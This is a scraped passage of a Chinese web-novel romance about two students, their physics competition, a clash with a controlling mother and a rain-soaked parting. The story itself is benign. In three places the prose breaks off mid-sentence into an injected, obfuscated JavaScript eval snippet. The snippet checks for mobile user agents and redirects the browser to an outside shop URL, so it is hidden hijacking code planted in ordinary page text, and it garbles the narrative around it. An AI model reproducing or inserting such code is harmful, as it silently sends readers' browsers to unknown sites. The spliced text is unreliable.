“嗯,”她轻轻点头,“是挺好的。” 夕阳渐渐沉到教学楼后面,走廊里的光影慢慢变淡。 两人依旧站在那里,偶尔说几句话,声音很轻,却像被夕阳镀了层金,在安静的走廊里,久久不散。 “那……一起去北京的约定还作数吗?”魏之言的声音很轻,落在沈青水耳边时,却带着沉甸甸的分量。 沈青水的心跳骤然漏了一拍,指尖摩挲栏杆的动作顿住。 走廊尽头的夕阳正慢慢沉下去,将她的影子拉得更长,几乎要与他的影子叠在一级台阶上。 “你还记得。”她没有直接回答,只是抬头看他,夕阳恰好漫过她的眼尾,将泛红的痕迹染成浅金。 魏之言喉结滚了滚,“怎么会忘。” 他的声音比刚才更沉,带着点自己都没察觉的紧张,“我以为你早忘了,毕竟……你说我们以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686445|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前不熟。” 最后几个字说得很轻,像在试探。 沈青水看着他眼底的光暗了暗,忽然想起早上在公告栏看到的照片:他站在领奖台上,身边站着笑靥如花的女生,底下的文字写着“年级第一魏之言与余晓希获省级竞赛金奖”。 她当时攥着衣角想,他早有了新的生活,那些旧约定不过是自己的执念。 可此刻他站在夕阳里,眼神里的认真像极了当年那个送她回家的少年。 “我没忘。”风卷着香樟叶掠过走廊,她抬手抹了抹眼尾。 夕阳彻底沉到教学楼后面,走廊里的光影变成了柔和的橘粉色。 风又吹过,卷起几片香樟叶,掠过两人交叠的影子。 “走吧,”魏之言开口,“要上课了。” 沈青水“嗯”了一声,跟在他身后往教室走。 两人的脚步声在安静的走廊里回响,偶尔说几句话,关于集训的题目,关于北京的天气,关于那些被时光藏起来的旧时光。 夕阳的最后一缕光落在他们身后,将走廊的影子拉得很长,像一条通往未来的路,温暖而明亮。 此后在白湖的每一天沈青水和魏之言都形影不离,沈青水都要以为他们在一起了。 那余晓希呢? 终于在六月末,她见到了余晓希。 六月末的白湖充满蝉鸣,香樟叶在阳光下绿得发亮,沈青水攥着刚打印好的模拟卷往教室走时,远远就看见魏之言站在走廊拐角,身边站着的女生穿着和他同款的白湖校服,发梢别着一枚珍珠发卡——是余晓希。 她的脚步猛地顿住,指尖无意识地卷着卷边的试卷。 余晓希正仰头跟魏之言说话,手里拿着一本竞赛题册,嘴角弯着笑,阳光落在她脸上,像撒了层碎金。 魏之言微微侧身听着,他的目光偶尔扫过走廊,却没注意到不远处的沈青水。 “那道完型你讲的方法真管用,这次模拟考我居然做对了!” 余晓希的声音顺着风飘过来,带着雀跃,“对了,下周英语竞赛颁奖礼,老师说让我们一起去领证书,你到时候可别迟到啊。” 白湖中学占地面积很大,竞赛集训在北门,白湖教学楼在南门,平时都各有食堂和宿舍,基本没有交集。 魏之言点点头:“知道了,到时候我叫你。” 余晓希打趣道:“肯定是我叫你啦!你每次都记不住时间,而且你们竞赛班都像是与世隔绝呢。” 魏之言挠了挠头不知道有没有回复她。 风卷着蝉鸣掠过走廊,带着六月的燥热,却吹不散沈青水心头的滞涩。 原来她就是余晓希,她很活泼开朗,偶尔经过北门的时候沈青水远远见过几次。 她有很多朋友,人缘很好。 跟自己完全不一样。 “那我先回教室啦,题册还没看完呢!”余晓希挥了挥手,转身朝南门教学楼走去,珍珠发卡在阳光下闪了闪,像一颗落在天空的星星。 魏之言站在原地,抬手看了眼表,转身走向集训教室的方向。 沈青水的心脏像被什么东西攥住,轻轻发疼。 她悄悄往后退了一步,鞋底蹭过地面的瓷砖,发出极轻的声响。 蝉鸣依旧响亮,香樟叶在阳光下晃得人眼晕,她攥紧试卷,转身往楼梯口走,脚步放得很轻,像怕惊扰了什么。 10. 青青子衿 “匆匆那年我们见过太少世面,只爱看同一张脸。” ——《匆匆那年》 物理竞赛的倒计时牌被钉在集训教室最显眼的位置,红色数字一天天递减,像在绷紧每个人心里的弦。 清晨的风裹着香樟叶的气息从窗户钻进来,带着初秋特有的微凉,拂过沈青水摊开的物理习题册。 纸页边缘被反复摩挲得发卷,上面密密麻麻的演算痕迹,像是过去几十天集训时光的缩影——有晨光里的受力分析,有路灯下的电磁推导,还有雨夜里没讲完的电场题思路。 沈青水和魏之言的交集,也随着这份紧张感变得密集起来。 她指尖捏着那张写着“北京大学”的志愿草稿纸,纸张边缘已经被揉得有些毛躁。 这张纸她写了又改,改了又写,笔尖划过“北京大学”四个字时的力度,比解任何一道物理难题都要重。 指尖沿着校名的笔画慢慢摩挲,忽然想起那晚白湖边,魏之言叠起这张纸时指尖的停顿,想起他没说出口的话,想起雨里那件罩在她头上的外套,还有余晓希接过伞时眼里的光。 阳光落在草稿纸上,把“北京大学”四个字照得格外清晰。 沈青水深吸一口气,将纸对折,再对折,折成一个方方正正的小方块,指尖反复压着折痕。 每天清晨,沈青水总会在教室后门的窗台边遇见拿着热牛奶的魏之言。 他总是提前从食堂绕过来,牛奶温度大约五十度——大小姐总是喜欢喝热饮,无论春夏秋冬。 “昨天那道天体运动的题,你辅助线画错了。”他说着,把牛奶递过来,另一只手翻开自己的笔记本,上面用不同颜色的笔标注着受力分析的关键步骤。 沈青水接过牛奶,指尖碰到他的指腹,两人都顿了一下,又很快移开目光,仿佛那瞬间的触碰只是晨光里的一粒尘埃。 课间休息时,他们会一起去走廊尽头的饮水机接水。 魏之言总记得她不爱喝温水,每次都等热水阀的水流稳定了才递过杯子。 走廊里飘着隔壁教室传来的英语听力,香樟叶的影子透过窗户落在他们脚边。 沈青水偶尔会说起漓中以前的事,比如操场边那棵老槐树夏天会落满白色的花,魏之言就安静地听着,时不时补充一句“你当时总在树下捡花瓣夹在课本里”。 可每当沈青水想问些什么,比如他和余晓希的关系,话到嘴边又会被他突然提起的物理公式打断。 晚自习结束后,他们会沿着白湖的湖边小路回宿舍。 路灯把两人的影子拉得很长,偶尔会在路面上叠在一起,又很快随着脚步分开。 魏之言会给她讲自己解不出题时的糗事,说有次为了算一道电磁学的题,在实验室待到凌晨,结果被保安大叔当成偷器材的学生。 沈青水听着笑出声,风卷着湖水的气息吹过来,她看着他侧脸的轮廓,忽然觉得这样的时光很像小时候拼过的拼图,看似每一块都严丝合缝,却总在某个角落少了关键的一片。 有些事情他们总是闭口不谈,比如未来去北京还作数吗,比如我们的以后还会这样并肩走多久。 就像上周模拟考结束,魏之言帮她整理散落在桌上的草稿纸,指尖扫过她写着“北京大学”的志愿草稿,只是顿了顿,便若无其事地叠好递回来,只字未提。 就像昨晚路过公告栏,她看见他和余晓希的竞赛合照被新贴在最上层,照片里两人捧着奖杯笑得灿烂,她刚想开口问“你们经常一起参加竞赛吗”,他就抢先指着远处的月亮说“你看今晚的月亮,特别像物理题里的理想球体”。 有一次,集训模拟考的成绩出来,沈青水的力学部分错了一大片,坐在座位上对着试卷发呆。 魏之言走过来,没有直接说题目,而是从书包里掏出一颗橘子,“吃吗?有人说吃甜的能让人思路清楚。” 他把橘子放在她桌上,手指摩挲着试卷边缘,“其实你那道题的思路是对的,就是忽略了摩擦力的方向。” 他蹲下来,仰着头给她讲题,灯光落在他的发梢,沈青水能闻到他身上淡淡的洗衣液味道,和那天夕阳下的味道一样。 就在她想说“谢谢你”的时候,远处传来余晓希的声音,“魏之言,老师叫你去办公室拿竞赛准考证!” 魏之言立刻站起来,“我先过去,你不懂的地方标出来,我回来再给你讲。” 他跟余晓希说说笑笑跑走的背影很快消失在走廊拐角,沈青水看着桌上的橘子,指尖捏着橘子皮,却怎么也剥不开。 这样的沉默像一层薄薄的雾,笼罩在两人之间。 那天午休,沈青水趴在桌上补觉,迷迷糊糊间感觉有人把薄外套盖在了她身上——是魏之言的,带着淡淡的洗衣液味道。 她悄悄睁开眼,看见他坐在旁边的座位上,低头演算着物理题,阳光透过窗户落在他的发梢,连睫毛的影子都清晰可见。 她想问“你为什么对我这么好”,想问“你和余晓希到底是什么关系”,可最终只是把脸埋进外套里,呼吸着那熟悉的味道,任由睡意将自己包裹。 直到集训过半的一个雨天,两人撑着一把伞从图书馆回教室。 伞面太小,魏之言总是把伞往她这边倾斜,自己的半边肩膀都被雨水打湿。 路过走廊拐角时,正好撞见余晓希抱着一摞书站在那里避雨,看见他们共用一把伞,眼里闪过一丝惊讶,随即笑着挥挥手:“魏之言,你也去图书馆啦?我刚去老师办公室拿竞赛资料,没想到突然下雨了。” 魏之言点点头,把伞往余晓希那边递了递:“你先拿去用吧,我和沈青水跑回教室就行。” 沈青水站在旁边,看着余晓希接过伞时指尖碰到魏之言的手,心里像被什么东西轻轻刺了一下。 她转身就往雨里跑,魏之言立刻跟上来,脱下自己的外套罩在她头上,“怎么不等我?”他的声音带着点急,“淋雨会感冒的。” 两人在雨里跑着,外套下的空间很小,沈青水能清晰地听到他的心跳声。 跑到教学楼门口时,两人都淋得有些狼狈,魏之言帮她拂去头发上的水珠,指尖碰到她的耳垂,带着凉意。 “刚才……”他刚想说什么,沈青水就装作若无其事地后退一步,拉开距离,“快走,我还有道题没解完。” 她坐在座位上,看着窗外的雨越下越大,心里乱得像一团麻。 魏之言走过来,把一杯热姜茶放在她桌上,“我从食堂借的,驱驱寒。” 他没有再提刚才的事,只是翻开笔记本,“上午那道电场题,我想到更简单的解法了,给你讲讲?” 沈青水看着他认真的侧脸,忽然觉得那些未说出口的话,那些刻意避开的话题,都像这窗外的雨,看似能被忽略,其实早已打湿了彼此的心房。 她点点头,“好。” 接下来的日子,依旧是刷题、讨论、一起走过湖边小路。 只是每当沉默降临,沈青水总会想起那个雨天,想起魏之言被雨水打湿的 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沈青水接过笔记本时,指尖又和他的指腹碰在一起,这次没有像往常那样迅速移开,而是停顿了两秒,像在确认什么。 魏之言的耳尖微微泛红,转身拿起两人的书包,“走吧,考点离这儿不远,别迟到。 两人跟所有竞赛的学生一起上了大巴车,漓中跟白湖分开了,沈青水上车又坐回了骆饶旁边。 骆饶可怜兮兮地质问她:“魏之言就是你抛弃我的理由?” “明明是你先被白湖的小姐姐吸引,昨天还跟我说要讨小姐姐的联系方式。”沈青水立马反击,“再说,我什么时候抛弃你了?早上的包子不还是我给你带的。” “啊对对对,你说的都对。”骆饶敷衍道。 后座的女生立马拍拍沈青水的肩膀:“骆饶的红颜知己是谁啊?是不是坐二组第一桌那个扎马尾辫的女生?” 骆饶瞬间像被踩了尾巴的猫,猛地转头去捂那女生的嘴:“别瞎说!那是我跟她讨论数学题的!” 话一出口,自己先红了耳根。 沈青水笑得前仰后合,指尖戳了戳骆饶的后背:“讨论数学题需要你把早餐奶都让给人家?需要你帮她抄了整整两页笔记?” “沈青水!”骆饶羞得去挠她的痒,两人闹作一团,引得前排的漓中老师回头看了一眼,笑着摇摇头。 后座的女生还在打趣骆饶,而右边的一位同学给她递来一块巧克力,并祝福她:“加油哦。” 沈青水才忽然意识到自己已经能融入这个班级了,她才意识到自己的改变有多大。 七月十五,竞赛的消息传遍漓乡大街小巷,各个学校的老师争先恐后地挤在竞赛场地门口。 沈青水的梦想终于完成了。 竞赛结束,各学校的老师各自管理将学生带回学校,沈青水跟着骆饶往漓中的大巴车走,脚步却不自觉地慢下来,目光频频往白湖学生的方向瞟,没看到魏之言。 沈青水觉得有点遗憾没跟魏之言打个招呼,下次见面又是什么时候? 他说要一起去北京,应该会作数的吧? 回到漓中,教室里的倒计时牌已经被换成了高考倒计时,红色数字醒目地写着“328”。 接下来的日子,沈青水把全部精力都投入到高考复习中,竞赛竞争激烈,能不能报送成功还真不一定,努力学习准备高考才是现实。 只是每当闲暇之余,沈青水都会想起在白湖集训时与魏之言相处的时光,那样短暂,那样美好。 11. 青青子衿 “今夜你会不会在远方,燃篝火为我守望。” ——《阿楚姑娘》 漓中高二暑假的第一个星期,竞赛成绩在官网公布。 物理、数学方向被保送的各五个,其中包括沈青水、魏之言和骆饶。 漓乡的天总是那么阴沉,今天又下了小雨。 公路上的车辆呼啸而过溅起水花,路边店铺的玻璃被冲刷干净。 一个小时前沈青水刚跟母亲吵了一架,母亲想把沈青水留下来,软硬皆施。 “青水你走了妈妈怎么办?” “沈青水你敢走我就当没你这个女儿!” “妈!”沈青水的声音陡然拔高,“我好不容易才拿到保送资格,我要去北京!” 母亲坐在沙发上,手里的茶杯重重磕在茶几上,茶水溅出来,在深色的木头上晕开一小片水渍。 她抬眼,眼神锐利如刀,带着常年在生意场上厮杀的强势,“留在本省师范,毕业考个编制,嫁个知根知底的人家,这才是正途!你弟弟还小,以后家里的事都要靠你,你走了,谁帮我?” 又是这样。 永远是弟弟,永远是家里的事,她的梦想在母亲眼里永远都是不值一提。 “北京?你一个女孩子家,跑那么远干什么?”母亲的语气带着不容置喙的强势。 “读完高三考个本省的师范大学,毕业后回来考编制,安安稳稳的多好。女孩子读那么多书,跑那么远,最后还不是要嫁人?” 重男轻女的思想刻在母亲骨子里,即便她比弟弟优秀十倍,也永远得不到平等的对待。 “妈,这是我拼了半条命换来的机会。” 她站在客厅中央,背脊挺得笔直。 “我想去北京,想读自己喜欢的专业,不是待在漓乡,过你安排的人生。” “你要是走,就别再认我这个妈!”母亲放下手上的茶杯,态度依旧强硬。 “家里的钱,一分都不会给你!我倒要看看,你一个女孩子,在北京能混出什么名堂!” “妈,对不起。”她深深吸了口气,转身往门口走,“但我必须走。等我站稳脚跟,会回来来看你的。” 这次对话让她坚定了离开这座城市的想法。 虽然以后会孤身一人独自闯荡,但是终于自由了不是吗? 她总隐约记得初三那场家长会——前一日刚和母亲爆发激烈争吵,母亲竟当着全班同学与各科老师的面,骂她“女流氓”。 粉笔灰还飘在午后的阳光里,她僵在教室后排的阴影里,指尖掐进掌心却觉不到疼。 周围同学的目光像细碎的针,扎得她脖颈发烫,前排班主任欲言又止的眼神更像一层薄冰,冻得她连呼吸都发颤。 母亲骂完那三个字,胸膛还在剧烈起伏,仿佛受了天大的委屈,全然没看见她骤然惨白的脸,和攥到泛白的校服衣角。 她想反驳,想嘶吼。 想问问母亲昨夜摔门而去时,是不是早就攒好了这腔怨毒要当众泼在她身上。 可喉咙像被什么堵住,只能死死咬着下唇,尝到淡淡的血腥味。 直到家长会结束,同学三三两两走过她身边,有人刻意压低声音窃笑,有人投来同情又疏离的目光,她才缓缓蹲下身,将脸埋进膝盖里。 那一天,窗外的梧桐叶落得簌簌作响,而她十五岁的自尊,被最亲的人亲手碾碎在众目睽睽之下,再也拼不回完整的模样。 自家长会后,“女流氓”三个字像附骨的咒,在校园里疯传成无数个版本。 有人添油加醋说她偷藏男生信件,有人造谣她在校外打架斗殴,甚至有陌生年级的学生路过时,会故意放慢脚步,用打量异类的眼神扫过她的后背。 原来要好的同桌开始刻意避嫌,课间不再拉她去厕所,放学也悄悄绕开她独行;小组讨论时,没人愿意和她一组,她主动搭话,得到的也只是敷衍的点头或沉默的侧身。 她试过解释,可那些带着鄙夷的目光、窃窃私语的笑声,像潮水般将她的辩解淹没。 有次她鼓起勇气质问造谣的女生,对方却挑眉冷笑:“你妈都那么说你了,还装什么无辜?” 次数多了,她便不再开口。 上课时,她缩在教室最角落,不抬头也不参与互动;下课后,她要么趴在桌上假装睡觉,要么独自站在走廊尽头,望着空荡荡的操场发呆。 她戒掉了笑,戒掉了主动靠近,浑身竖起尖锐的刺——有人递来纸巾,她会漠然躲开;有人试图关心,她会用冰冷的语气怼回去。 渐渐地,她成了校园里的“孤魂”,身边永远空着一片区域。 她的眼神越来越冷漠,嘴角再也没有上扬过,仿佛将自己裹进了一层厚厚的茧,用冷漠做铠甲,隔绝所有可能的伤害,也隔绝了所有靠近的温暖。 十五岁的夏天,阳光明明很烈,她的世界却只剩一片寒寂的荒芜。 雨丝斜斜扫过小卖部的玻璃门,推门时风铃叮当作响,带出一阵凉丝丝的冷气。 沈青水收起伞,水珠顺着伞沿滴落,在光洁的地砖上晕开小小的水痕。 货架上的商品码得整整齐齐,暖黄的灯光漫下来,映得柜台后两个身影格外清晰——苏回和苏仪。 苏仪低头整理关东煮的汤料,抬头瞥见她时,眼睛倏地亮了,手里的汤勺差点脱手:“青姐?” 一旁的苏回也立刻站起身,带着几分腼腆:“青姐。” 沈青水攥着伞柄的手指紧了紧,喉咙里涌上一丝陌生的涩意。 苏回给她让出一条道,让她进收银台坐着。 她抬眼,目光依旧是惯常的冷淡,像漓乡此刻没放晴的天,听不出太多情绪:“先坐。” 两人“嗯”一声,乖乖坐在她周围等着她开口。 “我来跟你们说一声,过段时间,我要去北京了。” 苏仪手里的汤勺“当啷”一声磕在锅沿,脸上的雀跃瞬间凝固,语气里满是不可置信:“去北京?青姐,你不回来了吗?” 苏回也抿紧了唇,原本腼腆的眼神里多了几分慌张,他下意识往前挪了半步,又怕唐突了她,硬生生顿住:“是保送了吗?” 沈青水微微颔首,指尖无意识摩挲着伞柄上的纹路,声音平稳得像在说别人的事:“手续差不多办完了,以后不会常回漓乡。” 她没提和母亲的争吵,没说未来的孤苦无依,那些柔软的情绪早已被冷漠的铠甲层层包裹,不愿也不会在任何人面前展露。 苏仪眼圈瞬间红了,手里的关东煮汤料还在冒着热气,她却没心思管了,声音带着哭腔:“那……那你以后一个人在那边怎么办?没人照顾你,遇到事了找谁呀?” 沈青水看着她泛红的眼眶,心里某处似乎被轻轻蛰了一下,却依旧面无表情地避开了她的目光,看向窗外淅淅沥沥的雨:“不用惦记,我能照顾好自己。” 她顿了顿,补充道,“这家店好好开着,苏回,大学能读还是要去读,别辜负了之前的努力。” “这家店铺我交了后续两年的租金,足够你们开到苏仪高考结束,到时候要去上大学或是留在这里,不用跟我说,自己联系房东就好。” 语气依旧是疏离的,带着不容置喙的冷静,仿佛她不是要远赴他乡,只是去邻街买一瓶水。 沈青水平时的生活费当然不够交那么多年的租金,那些都是找沈沐风那个小畜生借的。 场面沉默许久,苏回站起身给她九十度鞠躬:“谢谢你,青姐。” 苏回攥紧了衣角,憋了半天才挤出一句:“青姐,我们会想你的,你……你要常联系我们。” 沈青水没应声,只是将伞往身侧挪了挪,避开了门口飘进来的雨丝:“我该走了。” 说完,她转身就往门口走,没有回头,仿佛身后的暖意和不舍,都是会灼伤她的火焰。 风铃再次叮当作响,伴随着苏仪压抑的抽泣声。 沈青水的身影消失在雨幕里,背影挺得笔直,像一株在寒风中独自生长的树,带着孤注一掷的决绝,也带着无人知晓的孤勇。 雨丝更密了,织成一张灰蒙蒙的网,将漓乡的街巷裹得密不透风。 沈青水撑着伞走在人行道上,鞋底碾过积水,溅起细碎的水花,湿了裤脚也浑然不觉。 风裹挟着雨珠打在伞面上,发出沉闷的噼啪声,像无数根细针,轻轻叩击着她紧绷的神经。 她依旧背脊挺直,步伐平稳,只是垂在身侧的手攥得更紧了,指甲深深嵌进掌心,那点刺痛让她保持着清醒—— 清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686447|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地意识到自己正一步步远离这座既熟悉又窒息的城市。 她走得很慢,却没有丝毫犹豫,仿佛每一步都在与过去切割。 初三家长会后那些窃窃私语、孤立排挤,母亲尖锐的斥责、重男轻女的偏见,还有便利店门口苏仪泛红的眼眶、苏回攥紧的衣角,所有的一切都被雨雾模糊,又在心底刻得更深。 前方的路被雨雾笼罩,看不清尽头,就像她未知的未来。 沈青水深吸一口气,空气中满是雨水的湿冷,她将伞又撑高了些,遮住了大半张脸,只留下线条紧绷的下颌。 脚步不停,朝着远离家、远离漓乡中心的方向走去,背影在昏黄的路灯下渐行渐远,最终化作雨幕中一个模糊的黑点,孤独得像天地间仅剩的一粒尘埃。 - 沈青水回到家,窗外雨还在下,官网最终公示的保送名单。 物理方向五个名额赫然在列,沈青水的名字排在第三,骆饶紧随其后,唯独不见魏之言。 官网的消息刷得飞快,有人疑惑“魏之言不是稳拿第一吗?怎么没在名单上”,有人猜测“是不是放弃保送了?”,还有人隐晦提起“听说他家里出了点事”。 沈青水握着手机的手指猛地收紧,屏幕的光映在她冷漠的脸上,终于裂开一丝细微的波澜。 手机从掌心滑落在桌面里,屏幕亮起又暗下,倒映着她骤然失色的脸。 沈青水没顾上捡,疯了似的往白湖的方向冲。 伞被扔在家门口,雨丝瞬间浸透她的衣服,头发黏在脸颊上,混着不知是雨还是泪的液体往下淌。 她从不是会失控的人,可此刻心脏像被一只无形的手攥紧,疼得她几乎喘不过气。 魏之言怎么会不在名单上?那个竞赛场上永远从容不迫、会在晚自习后陪她走一段漆黑小巷的少年,那个说“北京的冬雪很好看,我们一起去看”的魏之言,怎么会突然缺席? 她跑过熟悉的街巷,溅起的水花打湿了裤腿,风灌进喉咙,带着铁锈般的腥味。 此刻任何的情绪都被“魏之言不在名单上”的恐慌覆盖—— 她怕,怕这个唯一给过她温暖的人,也会像漓乡的阴雨天一样,被困在这座令人窒息的城市里,永远走不出来。 白湖今天返校拿成绩单,魏之言的同学告诉她魏之言家的地址。 魏之言家住在老城区的巷子里,青石板路被雨水冲刷得发亮。 她跌跌撞撞地跑进去,裤脚被墙角的藤蔓勾破,膝盖蹭出火辣辣的疼,却浑然不觉。 直到看见那扇朱漆大门,她才猛地刹住脚步,胸口剧烈起伏,大口大口地喘着气。 “魏之言!”她朝着门内喊,声音带着前所未有的颤抖,“魏之言,你在吗?” 没人应答,只有雨声在巷子里回荡。 她抬手拍门,指尖重重砸在门板上,发出沉闷的声响:“魏之言,我知道你在里面!你出来!” 拍门的力道越来越重,手掌被震得发麻,眼泪终于忍不住掉下来,砸在湿漉漉的门板上。 “你为什么不在名单上?你说过要去北京的,你说过……”后面的话被哽咽吞没,她蹲下身,额头抵着冰冷的门板,肩膀剧烈地颤抖着。 这些年,她习惯了用冷漠武装自己,习惯了不期待、不依赖,可魏之言的出现,像一束微光,照亮了她荒芜的世界。 她以为他们会一起逃离漓乡,以为他们会在北京的校园里继续并肩前行,以为那些隐晦的心动和默契,会有一个像样的结局。 可现在,所有的期待都在名单公布的那一刻,碎得彻底。 不知过了多久,门内传来轻微的响动。 沈青水猛地抬起头,泪眼模糊地望着缓缓打开的门,看到了那个熟悉的身影。 魏之言穿着一件白色的衬衫,袖口挽起,露出清瘦的手腕,只是平日里温和的眉眼间,此刻满是疲惫和落寞。 “沈青水?”他的声音带着一丝沙哑,看到她浑身湿透、泪流满面的样子,瞳孔骤然收缩,下意识地往前迈了一步,“你怎么来了?这么大的雨……” 沈青水站起身,攥紧了他的衣袖,指尖因为用力而泛白,声音带着哭腔,却依旧带着几分执拗:“为什么?魏之言!你为什么不在名单上!” 12. 青青子衿 “我看见希望闪耀在虹之间。” ——《虹之间》 魏之言的指尖触到她冰凉湿透的衣袖,眉头瞬间蹙紧,语气是刻意放柔的沉稳:“先冷静点。” 他侧身让出半边门,目光扫过她磕破渗血的膝盖、黏在脸上的湿发,喉结滚了滚:“雨太大了,先进来避雨,有话慢慢说。” 沈青水却像没听见,攥着他衣袖的手反而更紧,指甲几乎要嵌进他的皮肉里,眼泪掉得更凶:“我不冷静!你说清楚,为什么放弃保送?为什么言而无信?” 她的声音带着崩溃的哭腔,像积攒了多年的委屈和恐慌,在这一刻尽数爆发。 魏之言沉默着,抬手轻轻覆在她攥得发白的手背上,指尖的温度透过冰凉的布料传过来,带着安抚的力量:“先松开,好不好?” 他的声音很低,却带着一种不容拒绝的温柔,“你这样淋雨会生病,我们先进去,我什么都告诉你。” 沈青水瞬间泄气了,肩膀剧烈垮塌下来,指尖松开他的衣袖,无力地垂在身侧,深呼吸,胸腔里翻涌的情绪被一股沉重的无力感压了下去。 她望着他,泪眼还泛着红,睫毛上挂着未干的水珠,原本执拗的眼神里褪去了尖锐,只剩一片湿漉漉的茫然与疼惜。 “我不进去了,我就想要个答案。” “为什么放弃去北京?” 她的声音骤然冷了下来,像被雨水浇灭的火焰,只剩一点残余的灰烬,没了刚才的崩溃哭腔,却带着一种更沉的疏离。 她微微后退半步,拉开了两人之间的距离,背脊重新挺得笔直,像刚才在雨幕中独行时那样,带着一身生人勿近的铠甲。 只是那双眼睛,不再是往日全然的冰封,深处藏着一丝未散的失望,被厚厚的冷漠裹着,看不真切。 魏之言给她拿了把伞,眼睛看向别处像是很忙碌,回复她:“不想去了。” “陪余晓希么?” 魏之言一愣,“……你说是就是吧。” 沈青水扯出一个难看的笑容:“那我要去北京了,你有什么想对我说的吗?” 魏之言捏着伞柄的手指猛地收紧,骨节泛白,目光终于落回她脸上。 雨丝飘进巷口,打湿他的额发,平日里温和的眉眼此刻蒙着一层说不清的晦涩,像被雾霭笼罩的白湖。 他沉默了很久,久到沈青水脸上的笑容彻底僵住,久到雨声都变得格外清晰。 最终只是轻轻吐出几个字,声音轻得像要被风吹散:“恭喜你啊,你很厉害。” “没了吗?” “你想我说什么?” “我想你说什么你就会说什么是吗?” “是。” “……那除了这个,你就没有想对我说的了吗?” “真的恭喜你,沈青水,你的人生终于要绿水长流了。” 末了,他又补充道:“这次只祝你。” 没有多余的叮嘱,没有不舍的挽留,甚至没有一句解释。 仿佛那些晚自习后并肩走过的漆黑小巷、那句“北京的冬雪很好看”的约定,都只是漓乡阴雨天里一场转瞬即逝的雾,风一吹就散了。 “魏之言。”沈青水笑了一声,明明是强颜欢笑的,但是她莫明轻松。 “怎么了。” “珍重。” “珍重。” 沈青水脸上的难看笑容瞬间垮掉,眼底最后一点光亮也熄灭了,只剩一片死寂的灰。 她扯了扯嘴角,想再说些什么,喉咙却像被什么堵住,只能发出干涩的气音。 她抬手,把伞还给他,转身就走。 背脊依旧挺得笔直,像一株倔强的野草,可步伐却有些踉跄,膝盖上的伤口被雨水浸泡着,传来尖锐的疼,却远不及心口的万分之一。 魏之言站在原地,手里还握着那把没送出去的伞,看着她的背影一点点消失在雨幕里,直到再也看不见。 他才缓缓垂下眼,喉结滚了滚,发出一声几不可闻的叹息,混在雨声里,无人知晓。 而沈青水没有回头,她知道,这一转身,就是两个世界。 北京的冬雪再美,也不会有他陪她看了;那些隐晦的心动和默契,终究还是输给了身不由己的错过和一句轻飘飘的“保重”。 雨越下越大,浇透了她的衣服,也浇灭了她心里最后一点温热的念想。 从今往后,她又成了孤身一人,带着一身冷漠的铠甲,奔赴那个没有他的远方。 - 北京的第一场雪来得猝不及防,鹅毛般的雪花簌簌落下,覆盖了校园里的银杏道。 骆饶跟沈青水都选择了清华,一个读物理,一个攻数学,偶尔在图书馆偶遇,会默契地递一瓶热咖啡,聊几句课业。 沈青水裹紧大衣,刚从实验室出来,就撞见骆饶拿着手机站在雪地里等她。 “怎么了?”她走过去,跟骆饶一起去食堂。 “马上放假了,你回漓乡吗?”骆饶在手机上指指点点,北京还是发达的,智能手机更加普及。 骆饶自己换了手机,给沈青水也买了一个作为她的生日礼物。 沈青水当然要拒绝,她自己也不是没钱,但是骆饶什么理由都给她找出来了。 无奈她只好接受了。 骆饶走着走着突然神色复杂。 “看什么?”沈青水靠过去,目光落在他的屏幕上,是苏仪发来的短信,配了张魏之言在医院走廊的照片。 他穿着简单的卫衣,眼下带着浓重的青黑,正低头给病床上的人掖被角。 配文写着:“魏学长照顾阿姨快半年了,还好阿姨终于好转了,学长也能安心准备明年的学业了~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686448|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆饶叹了口气,关掉手机:“苏仪刚跟我说,魏之言爷爷去年冬天走了,他妈妈紧接着查出了肾病,需要长期透析。当初放弃保送,根本不是因为余晓希,是家里实在离不开人。” 沈青水的脚步猛地顿住,雪花落在睫毛上,带来一阵刺骨的凉。 她想起漓乡那个雨巷,他说“不想去了”时的闪躲眼神,说“你说是就是吧”时的沉默,说“祝你绿水长流”时眼底化不开的晦涩。 骆饶见她的反应,问道:“你不会还喜欢他吧?” 沈青水迅速摇摇头:“怎么可能啊?都不是一路人了。” 话虽如此,指尖却不受控制地蜷缩起来,掐进大衣的面料里。 雪花落在她的发顶,融化的凉意顺着头皮往下渗,像极了漓乡雨巷里那阵浇透心口的冷。 她快步往前走,试图用食堂的热气驱散这份突如其来的窒息,可魏之言在医院走廊里疲惫的模样、雨巷里泛白的指节、那句“只祝你绿水长流”的落寞,却在脑海里反复盘旋,挥之不去。 后悔像藤蔓一样疯长,缠绕着心脏越收越紧。 她想起自己转身时的决绝,想起那些被误解的冷漠,想起他独自扛下所有牵绊时的隐忍。 